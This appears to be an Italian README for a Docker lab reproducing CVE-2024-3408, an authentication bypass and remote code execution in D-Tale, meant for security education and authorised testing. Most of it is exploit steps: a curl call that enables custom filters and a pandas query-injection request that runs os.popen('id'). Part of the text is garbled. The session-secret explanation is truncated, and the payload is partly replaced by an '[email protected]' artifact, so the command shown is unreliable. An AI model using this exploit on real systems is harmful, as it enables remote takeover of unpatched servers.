flame-11/cve-2024-3408-dtaleLaboratorio di vulnerabilità per CVE-2024-3408 - D-Tale Bypass dell'autenticazione e RCE
Ambiente di laboratorio riproducibile per CVE-2024-3408, una vulnerabilità di bypass dell'autenticazione ed esecuzione remota di codice in D-Tale.
Le versioni di D-Tale fino alla 3.15.1 sono vulnerabili a causa di:
"Dtale") per la firma delle sessioni Flask - consente la falsificazione dei cookie di sessionetest-filter utilizza una query pandas che può essere abusata per eseguire codice Python arbitrarioCVSS: 9.8 (Critico)
Affetti: D-Tale <= 3.15.1
docker compose up -d --build
D-Tale sarà disponibile su http://localhost:40000
# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}
# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
--data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)
docker compose down
Questo laboratorio è solo a scopo educativo e per test di sicurezza autorizzati. Non utilizzarlo su sistemi di cui non sei proprietario o per i quali non hai il permesso di test.